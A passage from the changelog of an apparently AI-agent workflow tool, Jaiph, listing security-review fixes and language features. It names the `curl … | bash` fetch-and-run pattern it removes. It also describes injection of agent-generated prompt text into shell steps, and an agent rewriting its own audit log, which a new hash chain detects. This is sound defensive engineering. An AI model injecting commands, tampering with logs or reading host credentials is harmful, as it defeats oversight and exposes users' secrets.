`ensure` into an imported module), and it sets `JAIPH_AGENT_COMMAND` / `JAIPH_AGENT_BACKEND` from metadata only when `fromEntryModule` is true or the matching import-unlock env var is set. Defaults are now safe without the caller pre-locking; the existing `JAIPH_AGENT_COMMAND_LOCKED` / `JAIPH_AGENT_BACKEND_LOCKED` gates still apply on top of both paths. All other config keys (`agent.model`, `agent.trusted_workspace`, `agent.*_flags`, `run.*`) are unchanged and still follow normal cross-module scoping. Advanced opt-in: `JAIPH_AGENT_COMMAND_IMPORT_UNLOCK=1` / `JAIPH_AGENT_BACKEND_IMPORT_UNLOCK=1` restore the old behavior of letting any imported module set the respective key. Tests: `src/runtime/kernel/node-workflow-runtime.artifacts.test.ts` (an imported module setting `agent.command` to a distinct binary does not reach the child's `JAIPH_AGENT_COMMAND` by default; `JAIPH_AGENT_COMMAND_IMPORT_UNLOCK=1` opts back in; an entry module setting `agent.command` still applies), updated `e2e/tests/86_metadata_scope_nested.sh` and `e2e/tests/87_workflow_config.sh` (a cross-module `run` no longer picks up the callee module's `agent.backend`). Docs: new [Import trust boundary](configuration.md#import-trust-boundary) section in `docs/configuration.md`, the two `*_IMPORT_UNLOCK` rows in `docs/env-vars.md`, and an execution-config trust-boundary note in `docs/libraries.md`. (Security review `2026-07-20` Finding 6, ASI-03 / ASI-09, LOW.) + +- **Feat — Sign release checksums with minisign and pin Dockerfile toolchain installers:** Releases no longer rely on trust-on-first-use for `SHA256SUMS` alone, and the runtime image no longer pipes unverified remote scripts straight into a shell. The release workflow (`.github/workflows/release.yml`) now signs `SHA256SUMS` with **[minisign](https://jedisct1.github.io/minisign/)** when the `MINISIGN_SECRET_KEY` GitHub Actions secret is set, publishing a detached `SHA256SUMS.minisig` as a seventh asset on every stable `v*` and rolling `nightly` release. Both installers now **embed the project's minisign public key** (canonical copy `jaiph.pub` at the repo root), download the signature, and **fail closed** when it is absent (`docs/install`, `docs/install.ps1`): the POSIX and PowerShell scripts abort with a "release signature file is missing" error if `SHA256SUMS.minisig` cannot be fetched, and — whenever `minisign` is on `PATH` — verify the detached signature against the embedded key before touching any binary, aborting on a bad signature (verification is now on by default; `JAIPH_MINISIGN_PUBLIC_KEY` overrides the embedded key only for rotation testing); without `minisign` they fall back to checksum-only with a warning. `runtime/Dockerfile` replaces the NodeSource `curl … | bash -` setup script with a GPG-keyring APT repository (matching the existing GitHub CLI block) and downloads the `uv`, `rustup`, `bun`, and `cursor-agent` installer scripts to disk, `sha256sum -c`-verifying each against a build ARG (`UV_INSTALL_SHA256`, `RUSTUP_INIT_SHA256`, `BUN_INSTALL_SHA256`, `CURSOR_INSTALL_SHA256`) before executing — ARGs default to empty (skip) for dev builds and should be populated for CI/release builds. Tests: `e2e/tests/07_installer_binary.sh` and `integration/installer-powershell.test.ts` (missing-signature fail-closed and verification paths), `integration/release-workflow.test.ts` (workflow signs and uploads `SHA256SUMS.minisig`). Docs: new **Release signing** section in `docs/contributing.md` (trust model, key management, user verification, rotation, Dockerfile pinning), a **Verify the release signature** section in `docs/setup.md`, and `README.md`. (Security review `2026-07-20` Finding 5, ASI-09, LOW.) + +- **Feat — Hash-chain `run_summary.jsonl` and redact credential values in run artifacts:** The durable event timeline is now tamper-evident and no longer persists cleartext secrets. Every line `RuntimeEventEmitter` appends to `run_summary.jsonl` carries a `prev_hash` field — the SHA-256 (hex) of the previous raw JSON line, or `CHAIN_GENESIS` (64 zeroes) for the first line (`serializeAndAppend` in `src/runtime/kernel/runtime-event-emitter.ts`, threading a `prevHash` cursor across all `emit*` calls). Rewriting or truncating any line breaks every subsequent hash, so a verifier can detect an agent editing its own audit trail. A new exported `verifyRunSummaryChain(filePath)` helper (`src/runtime/kernel/emit.ts`, alongside `sha256hex` / `CHAIN_GENESIS`) walks the file and returns `{ ok, error }`, reporting the first broken link by line number. Independently, credential values are redacted before write: `redactCredentials` replaces the value of any env var whose name ends in `_API_KEY`, `_TOKEN`, `_SECRET`, or `_API_TOKEN` (value ≥ 8 chars) with `[REDACTED]` wherever it appears in the reconstructed `prompt_text` and resolved `${var}` values (`emitPromptStepStart`), the prompt event `preview` (`emitPromptEvent`), and the embedded `out_content` / `err_content` excerpts of every `STEP_END` — script and prompt steps alike (`emitStep`). Redaction covers backend keys such as `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `CURSOR_API_KEY`, and applies only to the copies embedded in `run_summary.jsonl` — the per-step raw `.out` / `.err` capture files are streamed verbatim. Tests: `src/runtime/kernel/emit.test.ts` (untampered chain verifies; tampering with the first line on disk fails the verifier), `src/runtime/kernel/node-workflow-runtime.artifacts.test.ts` (a fixture `ANTHROPIC_API_KEY` value in prompt text is redacted in the persisted summary). Docs: new **Hash chain** and **Secret redaction** subsections in `docs/architecture.md`, plus a **Verify a run's integrity chain** recipe in `docs/artifacts.md`. (Security review `2026-07-20` Finding 4, ASI-06, LOW.) + +- **Feat — Compile diagnostic when a `prompt` capture is interpolated into a workflow shell step (`W_PROMPT_IN_SHELL`):** Workflow shell steps (free-form body lines with no `run` / `ensure` / `return` prefix) execute via `sh -c` on the interpolated command string, so a `${x}` whose binding came from a `prompt` capture splices agent-controlled text straight into the shell — command injection under `--unsafe` / `--inplace`, and contained (but still unintended) inside the default Docker sandbox. The validator now tracks every prompt-derived binding — typed or untyped, `const … = prompt …` or an `exec` prompt capture — in a `promptCaptures` set threaded through `walkStepTree` / `ValidatorCtx` (`src/transpile/validate.ts`, `src/transpile/validate-step.ts`), and `warnPromptInShellLine` scans each shell step's command for a `${name}` / `${name.field}` reference to one of those captures, emitting one `W_PROMPT_IN_SHELL` diagnostic per offending step pointing at the argv-safe path (`run my_script(capture)`, where the value arrives as `$1` — argv, not shell-expanded). It flags **only** shell steps: `run script(capture)`, `log` / `logerr` interpolation, and non-prompt variables are not flagged. Jaiph has no separate non-fatal-warning tier, so despite the `W_` prefix the diagnostic goes through the recoverable-error channel and **fails the build** — `jaiph compile` exits non-zero and `jaiph run` refuses to start; the fix is to move the value onto the argv path. Tests: `src/transpile/validate-prompt-shell-injection.test.ts` (prompt capture in a shell step is flagged; typed `returns` capture is flagged; passing the capture as a script argument is not flagged; a non-prompt capture interpolated in a shell step is not flagged). Docs: new [Prompt captures in shell steps](sandboxing.md#prompt-in-shell) section in `docs/sandboxing.md` (hazard, argv-safe pattern, fires/does-not-fire table), `docs/language.md` (`prompt` reference row), `docs/jaiph-skill.md` (authoring rule + troubleshooting row). (Security review `2026-07-20` Finding 1, ASI-01 / ASI-02, MEDIUM.) + +- **Fix — `jaiph mcp` sandbox parity with `jaiph run`: the workspace is now isolated by default, not bind-mounted live:** `jaiph mcp` tool calls previously defaulted to **inplace** mode (the host workspace bind-mounted `:rw`), inverting the `jaiph run` default and mutating the live tree with no opt-in — starting the server was treated as the consent act. MCP now shares the **identical** sandbox truth table as `jaiph run`: `selectMcpSandboxMode` (`src/runtime/docker.ts`) delegates to `selectSandboxMode`, so the default is a writable point-in-time **snapshot** of the workspace and **`inplace` only when `JAIPH_INPLACE=1|true`**; `JAIPH_UNSAFE=true` runs host-only in both contexts. With no sandbox env set, MCP tool-call container edits are discarded on exit and never land on the host workspace. The startup banner and `src/cli/mcp/call.ts` / `src/cli/commands/mcp.ts` strings now state the resolved posture accurately (isolated by default; inplace labeled as the `JAIPH_INPLACE=1` opt-in where writes land live), and the "MCP inverts the `jaiph run` default" wording was removed from the code comments. Tests: `src/runtime/docker.test.ts` (env-matrix unit tests asserting MCP and `jaiph run` share one truth table over `JAIPH_INPLACE`), updated `e2e/tests/141_mcp_docker_sandbox.sh` expectations (no longer inplace-by-default). Docs: `docs/mcp.md`, `docs/sandboxing.md`, `docs/cli.md`. (Security review `2026-07-20` Finding 2, ASI-03, MEDIUM.) + +- **Fix — Triple-quoted and multiline call arguments; incomplete managed calls are `E_PARSE`, never a shell step:** Authors can now pass a triple-quoted `"""…"""` block directly as a call argument — e.g. `return run helper(` on one line, then `"x",`, a `"""…"""` block, and `y` on the following lines, closed by `)` — so multiline text no longer has to be lifted into a `const` binding first. A new `call_arg` form accepts `triple_quoted_block` with the same dedent / `${…}` interpolation rules as every other triple-quoted position — it opens `"""` as the first non-whitespace token on its own line and is dedented to the common leading margin. It applies to `run`, `ensure`, `return run`, `return ensure`, and `const … = run` / `const … = ensure`. Managed calls whose `(` … `)` span **multiple source lines** now parse when each argument is a valid `call_arg` (triple-quoted block, double-quoted string, bare identifier, or dotted field access). This also closes a language-contract bug: a line that *looks like* a managed-call start (`run` / `ensure` / `return run` / `return ensure` with an identifier and `(`) but cannot be completed — e.g. an unclosed `(` — was silently recorded as a free-form workflow shell step (`sh_line_`); `jaiph compile` could still succeed and `jaiph run` then died at runtime with an opaque `sh: 1: Syntax error: "(" unexpected`. Such lines now fail at compile time with `E_PARSE` (`unterminated multiline call — missing closing ")"`) and **never** become a shell step. Intentionally free-form shell lines — those with no `run` / `ensure` / `return` keyword prefix — still fall through to the shell executor unchanged, as do single-line double-quoted call args, bare identifiers, and nested `run` / `ensure`. A new `parseCallRefMultiline` / `parseMultilineCallArgList` (`src/parse/call-args.ts`) is the shared entry point wired into `src/parse/workflow-brace.ts` (`run` / `ensure` statement forms and the `return run` / `return ensure` paths) and `src/parse/const-rhs.ts` (`const … = run` / `= ensure`); it returns `null` only when the text does not start with `ref(` (so bare-identifier shell lines still fall through), and otherwise `fail()`s rather than aborting into the shell branch. Triple-quoted args are stored as `{ kind: "literal", raw }` (the dedented body wrapped in a double-quoted string); the formatter emits that stored value directly, so a triple-quoted arg round-trips to a double-quoted string literal (intentional — `Arg` nodes carry no Trivia). Tests: `src/parse/parse-multiline-call.test.ts` (triple-quoted arg stored as `Arg` literal not shell; multiline `run` / `ensure` / `return run` / `return ensure` / `const = run`; unclosed-paren forms are `E_PARSE`; bare-identifier `return run helper` still falls through to shell; single-line calls unchanged), compiler txtar `parse-errors.txt` (unclosed `return run` / `return ensure` are `E_PARSE @2:1`, locking out the shell fallback) + diagnostics snapshot. Docs: `docs/grammar.md` (`call_arg` production + multiline / hard-error notes), `docs/language.md` (call-argument table + hard-error contract), `docs/index.html`. + +- **Feat — `else if` chaining sugar for workflow/rule `if`:** `if` statements now accept `} else if {` arms after the `if` body, chaining to arbitrary depth and ending with an optional `} else {` (`if a == "x" { … } else if a == "y" { … } else { … }`). Each `else if` uses the **same condition grammar** as a top-level `if` (`==`, `!=`, `=~`, `!~`; double-quoted string or `/regex/`; bare `IDENT` or `IDENT.IDENT` subject). The chain is **desugared at parse time** to nested `if`/`else` — `parseIfArm` in `src/parse/workflow-brace.ts` (replacing the old `"else if" chaining is not supported` rejection) parses each arm recursively and nests the next arm as the single `if` step inside the parent's `elseBody`, so the AST matches a human-written nested tree and every existing runtime path keeps working (no new step type). `if` stays **statement-only**: `const x = if …` is still invalid. The formatter (`src/format/emit.ts`) round-trips author sugar by collapsing an `elseBody` that is a single `if` back to `} else if` rather than re-nesting it. The same-line invariant is unchanged and now covers the sugar: `} else {` and each `} else if {` must sit on one line (the closing `}` and the keyword share the line). Invalid forms stay `E_PARSE`: an `else if` without a preceding `if`, an `else if` split onto its own line, an `else if` without a condition, and an empty `else if` body. Tests: `src/parse/parse-steps.test.ts` (chain AST equals the manually nested `if`/`else` equivalent; negative cases), `src/format/emit.test.ts` (round-trip), golden AST `test-fixtures/golden-ast/fixtures/if-else-if.jh`, compiler txtar `valid.txt` / `parse-errors.txt`, `e2e/tests/144_if_else_if_chain.sh` (three-arm chain executes exactly one branch). Docs: `docs/grammar.md`, `docs/language.md`, `docs/jaiph-skill.md`. + +- **Feat — `match` pattern alternation (`"a" | "b" => …`):** a `match` arm pattern may now be a pipe-separated list of string literals and/or regexes that share one body — `"" | "check" => run foo()` and `/^a/ | /^b/ => …` — removing the duplicated arms CLI dispatch and enum-style branching previously required. The arm matches if **any** alternand matches (OR), evaluated left-to-right, and existing arm order still decides ties (the first matching arm in the block wins). A new `parseArmPattern` in `src/parse/match.ts` parses additional `| ` after the first pattern and before `=>`, producing a new `MatchPatternDef` variant `{ kind: "alternation"; patterns: MatchPatternDef[] }` (`src/types.ts`); a single pattern is still stored flat, so existing ASTs are unchanged. String and regex alternands may be **mixed** — the runtime dispatches on each alternand's kind. `_` **cannot** participate: `_ | "x"` and `"x" | _` are `E_PARSE` (`wildcard _ cannot participate in match alternation`), and a trailing `|` with no pattern before `=>` is `E_PARSE` (`trailing | in match alternation; expected a pattern after |`). The runtime (`src/runtime/kernel/node-workflow-runtime.ts`) evaluates arms through a recursive `patternMatches` helper where alternation is `patterns.some(...)`; the validator (`src/transpile/validate-step.ts`) descends into alternands via `collectRegexSources` so an invalid regex anywhere in an arm is still reported; the formatter (`src/format/emit.ts`) prints alternation with ` | ` between patterns, keeping `"a" | "b" =>` on one line through a round-trip. Tests: `src/parse/parse-match.test.ts` (parse string/regex/mixed alternation; reject `"a" | _`, `_ | "x"`, and a trailing `|`), golden AST `test-fixtures/golden-ast/fixtures/match-alternation.jh` + expected JSON, `e2e/tests/145_match_alternation.sh` (subjects `"check"` and `""` hit the same arm; `"wait"` hits another; wildcard fallthrough). Docs: `docs/grammar.md`, `docs/language.md`, `docs/jaiph-skill.md`, `docs/index.html`. + +- **Feat — Docker runtime image: expanded generic engineering toolchain:** The published `ghcr.io/jaiphlang/jaiph-runtime` image (`runtime/Dockerfile`) now ships a curated daily-coding toolchain for sandbox `script` steps and agent backends — not a full GitHub Actions VM clone, but one stable version per language plus common build/cloud utilities (~3.2 GB on disk for linux/amd64). Added: `pnpm`, `yarn`, `corepack`, `bun`, `uv`, `pipx`, `go` (1.26.5), OpenJDK 21 (`JAVA_HOME`), `mvn`, `gradle`, Rust stable minimal (`rustc`/`cargo`), `gh`, `cmake`, `git-lfs`, `yq` (mikefarah), `protoc`, `kubectl`, AWS CLI v2, `just`, `task`, `sqlite3`, `shellcheck`, `file`, `pkg-config`, `libssl-dev`. Deliberately omitted: nested `docker` CLI, browser/Android SDK matrices, multiple language versions, DB servers. The `codex` backend needs no extra image install (HTTP via bundled `jaiph`); `OPENAI_API_KEY` is forwarded into the sandbox when the entry file selects `codex` so `export OPENAI_API_KEY` on the host works, the same per-backend rule as `ANTHROPIC_API_KEY` / `CURSOR_API_KEY` (see the Finding 7 fix above). New e2e contract: `e2e/tests/143_docker_toolchain.sh` (fails when any listed command is missing in the Docker sandbox). Docs: new [Runtime image toolchain](sandboxing.md#runtime-image-toolchain) section in `docs/sandboxing.md`. + +- **Feat — Leaf script/prompt idle output warnings:** When a leaf script or prompt step produces no stdout/stderr for `JAIPH_STEP_IDLE_WARN_SEC` (default `180`; `0` disables), the runtime emits a `LOGWARN` with text like `script quiet: no output for 180s` — meaning the step has gone silent after any initial output, not that it is waiting to start. Detection lives in the runtime (`createStepIdleOutputWarn` in `src/runtime/kernel/step-idle-warn.ts`) because only leaf executors see streaming chunks; workflow container steps are excluded. Hooks: `executeManagedStep` when `kind === "script"` (named scripts, inline scripts, and shell lines) and `runPromptStep` per backend attempt. Poll cadence defaults to 5s (`JAIPH_STEP_IDLE_WARN_CHECK_MS`). The CLI renders these as yellow `⚠` lines via the `LOGWARN` path added for `logwarn`. Tests: `src/runtime/kernel/step-idle-warn.test.ts`, `e2e/tests/143_step_idle_warn.sh`. Docs: `docs/cli.md`, `docs/env-vars.md`. + +- **Feat — `logwarn` keyword:** A new `logwarn` say-level keyword mirrors `log` / `logerr` end-to-end — parser (`tryParseLogwarn` / `STATEMENT.logwarn` in `src/parse/workflow-brace.ts`), validator (same string rules as `logerr`), formatter/emitter, runtime (`say` with `level: "logwarn"` writes stderr + `.err` artifacts and emits `LOGWARN` via `RuntimeEventEmitter.emitLog`), and CLI display (yellow `⚠` prefix in `stderr-handler.ts`). Bare-identifier and triple-quoted forms work the same as `log` / `logerr`. Tests: `e2e/tests/142_logwarn.sh`, unit updates in `events.test.ts` / `progress.test.ts`, golden AST fixture `log.jh`. Docs: `docs/language.md`, `docs/grammar.md`, `docs/cli.md` (`LOGWARN` event type and tree marker table). + +- **Fix — Fenced script bodies dedent common leading whitespace at parse time:** `script … = \`\`\` … \`\`\`` and inline fenced scripts previously emitted body lines verbatim, so uniform `.jh` indentation broke heredoc delimiters (`EOF`/`PY` must start at column 0) and indented `python3` bodies. `parseFencedScriptBlock()` (`src/parse/fence.ts`) now strips the block's shared margin via `dedentCommonLeadingWhitespace` before the AST stores the body; `jaiph format` re-adds one indent level from scope (`pad` for module scripts, `ci + pad` for inline scripts). Tests: `src/parse/parse-fence.test.ts`, `src/format/emit.test.ts`, `src/transpile/fenced-script-dedent.test.ts`. Docs: `docs/jaiph-skill.md`, `docs/cli.md`, `docs/architecture.md`. +- **Fix — POSIX installer replaces `jaiph` atomically and verifies before promote:** `docs/install` (used by `curl … | bash` and `docs/install-from-local.sh`) previously `cp`'d the new standalone binary onto `${JAIPH_BIN_DIR}/jaiph`, reusing the inode — on macOS, reinstalling while a host `jaiph`/`sekey` session is still running could leave the path unexecutable (SIGKILL, exit 137) even though the installer printed ✓ (`--version` was swallowed via `2>/dev/null || echo "jaiph (local)"`). New `install_jaiph_binary` stages to a temp file in the bin dir, runs `--version` on the staging copy (hard fail on error), `rm -f`s the old `${TARGET}`, then `mv`s the staging file into place so the install path gets a fresh inode. `assert_safe_install_target` canonicalizes `JAIPH_BIN_DIR`, requires the basename `jaiph`, blocks system directories (`/`, `/bin`, `/usr/bin`, …), and refuses to replace a directory or other non-regular file at the target path. Both the release-download and local-build branches use it. E2e: `e2e/tests/07_installer_binary.sh` (reinstall over an existing binary while a jaiph child holds the old mapping open; blocked system dir; blocked directory target). +- **Fix — Run tree shows `default` when the backend auto-selects a model:** Prompt steps with no explicit `agent.model`, no `JAIPH_AGENT_MODEL`, and no `--model` in backend flags previously omitted the model token (`prompt cursor "…"`), which looked like missing telemetry. `STEP_START` / `STEP_END` now emit the label **`default`** via `modelForStepEvent` (`src/runtime/kernel/prompt.ts`) when `resolveModel` returns `backend-default`; backend CLI args are unchanged (no `--model default` is passed). Explicit and flag-derived models still show as before (`prompt claude sonnet "…"`). Tests: `prompt.test.ts`, `node-workflow-runtime.artifacts.test.ts`, `e2e/tests/20_rule_and_prompt.sh`, `e2e/playwright/landing-page.spec.ts`. +- **Fix — Bare `IDENT.IDENT` call args resolve typed-prompt fields; unquoted `${…}` in call position is `E_VALIDATE`:** `run to_lower(result.role)` was stored as the literal text `"result.role"` instead of resolving the field value — only `${result.role}` worked. The parser now classifies bare dotted names as `var` refs (same as bare identifiers); the runtime expands them via `${base.field}`. Unquoted `${…}` outside strings in call-argument position is rejected at compile time (`call arguments cannot use unquoted interpolation …; use bare …`) — interpolation belongs inside quoted strings; use `result.role` or `"${result.role}"`. Tests: `src/transpile/validate-managed-calls.test.ts`, `src/parse/parse-core.test.ts`, compiler txtar (`valid.txt`, `validate-errors.txt`), diagnostics snapshot. Docs: `docs/grammar.md`, `docs/language.md`, `docs/jaiph-skill.md`, `docs/architecture.md`. +- **Fix — In-place run banner drops redundant “live host edits” parenthetical:** The opening line for Docker in-place runs now reads `Jaiph: Running (Docker sandbox, in-place)` instead of `(Docker sandbox, in-place (live host edits))` — the inplace confirmation prompt already states that edits land on the host workspace; the banner only needs to name the mode. `formatJaiphRunningBannerLines` (`src/cli/run/display.ts`), unit test, `docs/sandbox-run.md`. +- **Feat — `--unsafe` now asks for consent, and both sandbox opt-outs lead with their access scope:** `--inplace` already gated launch behind a destructive-edit warning + `Continue? [y/N]`, but `--unsafe` / `JAIPH_UNSAFE=true` started a host-only run with no sandbox and no prompt — users could opt into whole-machine exposure without seeing the blast radius. `jaiph run` now gates the unsafe host-only path behind the **same consent UX** as in-place, and both warnings state their filesystem access scope in plain language up front. A new **`confirmUnsafeRun`** (`src/runtime/docker-inplace.ts`) mirrors `confirmInplaceRun`: on a TTY it prints a warning to stderr and requires `Continue? [y/N]` (default **no**, aborting cleanly on `n` / empty / EOF with `jaiph unsafe mode: aborted by user.`); on a non-TTY without auto-confirm it throws the new **`E_UNSAFE_NO_CONFIRM`** (parallel to `E_DOCKER_INPLACE_NO_CONFIRM`). The new **`formatUnsafeWarning`** is deliberately stronger than the in-place copy — unsafe is strictly *more* exposure, not a lighter variant: it leads with host-only / **NO sandbox** (Docker off), states filesystem access is your **ENTIRE machine** (not just the workspace) and that scripts and agent backends can read secrets from the environment (SSH keys, cloud credentials, tokens, Keychain) and reach paths outside the project, then closes with a "strictly more exposure than `--inplace`" caution. `formatInplaceWarning` was restructured so the **first** line after the header is the access scope (*"Filesystem access: this workspace directory only (``). The rest of your machine stays inside the Docker sandbox."*) ahead of the git-state recovery paragraph and the sandbox-boundary reminder. The three git-state recovery variants (clean → `git restore .`; dirty → commit/stash first; no repo → irreversible) were factored into a shared **`gitStateParagraph`** used by both warnings, and the yes/no prompt seam (`_inplacePrompt`) and a shared **`isAutoConfirmed`** gate are now common to both flows. **Auto-confirm stays a single story:** `--yes` / `-y` (env form `JAIPH_INPLACE_YES=1` / `"true"`) skips **both** prompts and is required for non-interactive use of either mode. The unsafe prompt fires from `runWorkflow` only when the unsafe opt-in is what turns Docker off while it would otherwise be on (new **`isUnsafeHostOnly`** gate in `src/cli/commands/run.ts`: `!dockerEnabled && platform !== "win32" && JAIPH_DOCKER_ENABLED === undefined && JAIPH_UNSAFE === "true"`) — it does **not** fire when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, or the Windows host-only override, which prints its own notice), and `jaiph run --raw` skips it (the embedding / Docker-inner entrypoint expresses consent through its wrapping context). The `formatJaiphRunningBannerLines` `(no sandbox)` / `(Docker sandbox, in-place …)` parentheticals are unchanged and stay consistent with the prompt wording. Tests: `src/runtime/docker-inplace.test.ts` (`formatInplaceWarning` leads with workspace-only scope; `formatUnsafeWarning` states no sandbox / whole-machine reach / secrets and carries the three git-state variants; `confirmUnsafeRun` TTY yes/no/empty-default, auto-confirm skips the prompt, non-TTY throws `E_UNSAFE_NO_CONFIRM`, non-TTY + `JAIPH_INPLACE_YES` proceeds), `src/cli/commands/run.test.ts` (`--unsafe` on non-TTY without `--yes` aborts with `E_UNSAFE_NO_CONFIRM` before spawning; `--unsafe --yes` skips the prompt and runs host-only to completion), `e2e/tests/77_unsafe_confirm.sh` (new, wired into `e2e/test_all.sh`: no-consent leg exits `1` with `E_UNSAFE_NO_CONFIRM`; `--yes` leg proceeds host-only to workflow output). Docs: `docs/cli.md` (`--inplace` / `--unsafe` / `--yes` rows), `docs/env-vars.md` (`JAIPH_UNSAFE`, `JAIPH_INPLACE_YES`, and the `E_UNSAFE_NO_CONFIRM` error-code row), `docs/sandboxing.md` (new "Confirmation prompts and access scope" section with the inplace-vs-unsafe access-model table). +- **Fix — Ctrl+C on a Docker-backed `jaiph run` now stops the container:** Interrupting a Docker-backed run (SIGINT / SIGTERM on the host `jaiph` process) previously killed the host `docker` client while the `docker run --rm` container kept executing — `docker ps` still listed it minutes later, so the orphaned container went on running workflow and agent work (e.g. Claude running `npm test`) against the sandbox with no attached CLI. `spawnDockerProcess` now assigns every container a deterministic `--name` (`jaiph-run-`, emitted right after `run --rm`), and on interrupt the run's signal handler force-removes it with `docker rm -f ` **before** deleting the host `.sandbox-*` clone — new `stopDockerContainer` / `stopDockerRunOnSignal` helpers in `src/runtime/docker.ts`, wired into `run.ts`'s `onSignalCleanup` (replacing the bare `cleanupDocker` call). Because containers use `docker run --rm`, `docker rm -f` both stops and removes them, so the container disappears from `docker ps` within a bounded window regardless of the host client's fate. The run-timeout path (`E_TIMEOUT`) force-removes the container the same way before killing the client's process tree, and the MCP per-call cancel path (`src/cli/mcp/call.ts`) stops the container before `cancelRunProcess`. Host `.sandbox-*` cleanup still runs (skipped only under `JAIPH_DOCKER_KEEP_SANDBOX=1`), now ordered after container stop so the bind-mounted sandbox dir is never removed while the container is live. Applies to **snapshot and inplace** modes — the sandbox mode does not change the stop contract. Tests: `src/runtime/docker.test.ts` (`buildDockerArgs` emits `--name` after `run --rm` and omits it without a name; `stopDockerContainer` force-removes by name, no-ops on `undefined`, and swallows `docker rm` failures; `stopDockerRunOnSignal` stops the container before removing the host clone; `spawnDockerProcess` assigns and passes the name), `src/cli/run/lifecycle.test.ts` (SIGINT and SIGTERM both run the Docker container-stop cleanup), `e2e/tests/74b_docker_signal_cleanup.sh` (extended: the container must disappear from `docker ps` within 15s of SIGINT — for both a `script` sleep and a nested-shell sleep inside an `ensure` rule — alongside the existing `.sandbox-*` cleanup assertion). Docs: `docs/sandboxing.md`, `docs/architecture.md`, `docs/env-vars.md`, `docs/mcp.md`. +- **Feat — Run tree: show the effective model on prompt step lines:** Prompt steps in the live run tree and non-TTY step labels now render the model as a bare token between the backend and the quoted preview — `▸ prompt claude sonnet "Classify this task…"` on start, `✓ prompt claude sonnet (5s)` on completion, and `· prompt claude sonnet (running Ns)` on the non-TTY heartbeat. The model is the value already passed to the backend for that invocation (explicit `agent.model` / `JAIPH_AGENT_MODEL` / a `--model` flag / backend default — whatever `resolveModel` returns with a non-empty string); the token is **omitted** when the backend auto-selects (empty model), falling back to the prior two-token `prompt "…"` form, and a custom `agent.command` still shows the command basename with the model appended after it. The resolved model is threaded to the display layer as a new `model` field on the `STEP_START` / `STEP_END` events (`emitPromptStepStart` now takes the resolved model, carried on `PromptStepHandle` and emitted on both events in `src/runtime/kernel/runtime-event-emitter.ts`, sourced from `modelRes.model` in `src/runtime/kernel/node-workflow-runtime.ts`) and parsed into `StepEvent.model` (`src/cli/run/events.ts`), so `formatStartLine` / `formatCompletedLine` / `formatHeartbeatLine` (`src/cli/run/display.ts`) render the three-part label without re-reading `PROMPT_START`. Existing truncation rules are unchanged (24-char preview, 96-char line cap). This is CLI/run-tree presentation only — the `.jh` language is unchanged and `config { agent.model = … }` remains the authoring surface. Tests: `src/cli/run/display.test.ts` (start/end lines with backend+model, backend-only, and custom-command basename + model), `src/cli/run/stderr-handler.test.ts`, `src/runtime/kernel/node-workflow-runtime.artifacts.test.ts` (`STEP_START` for a prompt carries the `model` field), `e2e/tests/20_rule_and_prompt.sh` (asserts `prompt cursor sonnet "…"` when `agent.model` is configured — fails if the model is dropped). Docs: `docs/first-agent-run.md`, `docs/cli.md`. + + +- **Change — `agent.model` is prompt-scoped only (no `JAIPH_AGENT_MODEL` env mapping):** In-file `agent.model` no longer writes `JAIPH_AGENT_MODEL` at module or workflow scope (`applyMetadataScope`, `resolveRuntimeEnv`). Model from config is resolved at each `prompt` step from workflow/module metadata (`resolveConfigAgentModel` + `resolvePromptConfig` in `src/runtime/kernel/node-workflow-runtime.ts` / `src/runtime/kernel/prompt.ts`) and passed as a per-invocation `--model` CLI flag. Scripts and rules do not see config model in the environment; `JAIPH_AGENT_MODEL` remains a user env override for all prompts. Tests and docs updated (`87_workflow_config.sh`, `node-workflow-runtime.artifacts.test.ts`, `resolve-env.test.ts`, `prompt.test.ts`, `docs/configuration.md`, `docs/configure-backend.md`, `docs/env-vars.md`, `docs/jaiph-skill.md`). +- **Breaking — Rename `agent.default_model` → `agent.model`:** The config key for selecting the model used by `prompt` steps is now `agent.model` (was `agent.default_model`). The internal TypeScript field is `agent.model` (was `defaultModel`). Parser, formatter, runtime metadata application, credential pre-flight, validation, tests, docs, and in-repo `.jh` modules updated. No alias for the old key — `agent.default_model` is now `E_PARSE unknown config key`. +- **Feat — `jaiph mcp` progress notifications and cancellation:** Long-running MCP tool calls now stream progress to the client and can be cancelled mid-run (`src/cli/mcp/server.ts`, `src/cli/mcp/call.ts`, `src/cli/run/lifecycle.ts`). **Progress:** when a `tools/call` carries `params._meta.progressToken`, each of the run's `STEP_START` / `STEP_END` events is translated into a `notifications/progress` (`{progressToken, progress, message: " "}`) with a **monotonically increasing** `progress` counter (a running count, not a fraction of a known total); notifications **stop the moment the call's response is sent** (spec requirement — the `onStep` hook is gated on the request still being in-flight, so a late event produces nothing), and a call **without** a `progressToken` emits none (no behaviour change). The executor surfaces step events through a new per-call `McpCallContext.onStep` hook, wired by `attachOutputCollector` off the same `parseStepEvent` stderr stream that already composes the result. **Cancellation:** a `notifications/cancelled` naming an in-flight request id terminates that call's child process **tree** — new `cancelRunProcess` in `src/cli/run/lifecycle.ts` reuses `terminateRunProcessGroup` semantics (SIGINT, then a 1.5 s unref'd force-kill timer escalating to SIGKILL, cleared on exit) — sends **no response** for the cancelled id, and keeps the server serving (a subsequent `ping` still answers). The executor registers its child-terminator via `McpCallContext.onCancelHandle`, and a cancellation that arrives before the child is spawned is honored as soon as the terminator registers. Tests: `src/cli/mcp/server.test.ts` (monotonic progress before / none after the response, no-token silence, cancel kills the child + sends no response + keeps serving, cancel-before-spawn), `integration/mcp-server.test.ts` (scripted stdio session: a `progressToken` over a multi-step fixture streams monotonic progress all ordered before the response, no-token silence, and `notifications/cancelled` kills a sleeping run before its completion marker lands while a follow-up `ping` still answers). Docs: `docs/mcp.md` (new "Stream progress and cancel a long call" section), `docs/cli.md` (`notifications/progress` + `notifications/cancelled` protocol rows and the `tools/call` progressToken note). +- **Feat — `--env` per-key environment passthrough on `jaiph run` and `jaiph mcp`:** A new repeatable **`--env`** flag lets a workflow receive a specific host variable — e.g. `GITHUB_TOKEN` or `MY_API_URL` — that the fail-closed Docker env allowlist (`ENV_ALLOW_PREFIXES`: `JAIPH_`, `ANTHROPIC_`, `CURSOR_`, `CLAUDE_`) would otherwise drop, with the flag itself standing in as the per-key user consent. **Two forms** (parsed in `parseArgs` / `parseEnvSpec`, `src/cli/shared/usage.ts`): `--env KEY=VALUE` defines `KEY` with that exact value (only the **first** `=` splits, so the value may contain `=`, and an empty value `KEY=` is allowed); bare `--env KEY` forwards the host's current value, resolved once at spawn time and **aborting before any process is spawned** with `E_ENV_MISSING` if `KEY` is unset on the host rather than silently dropping. `KEY` must match 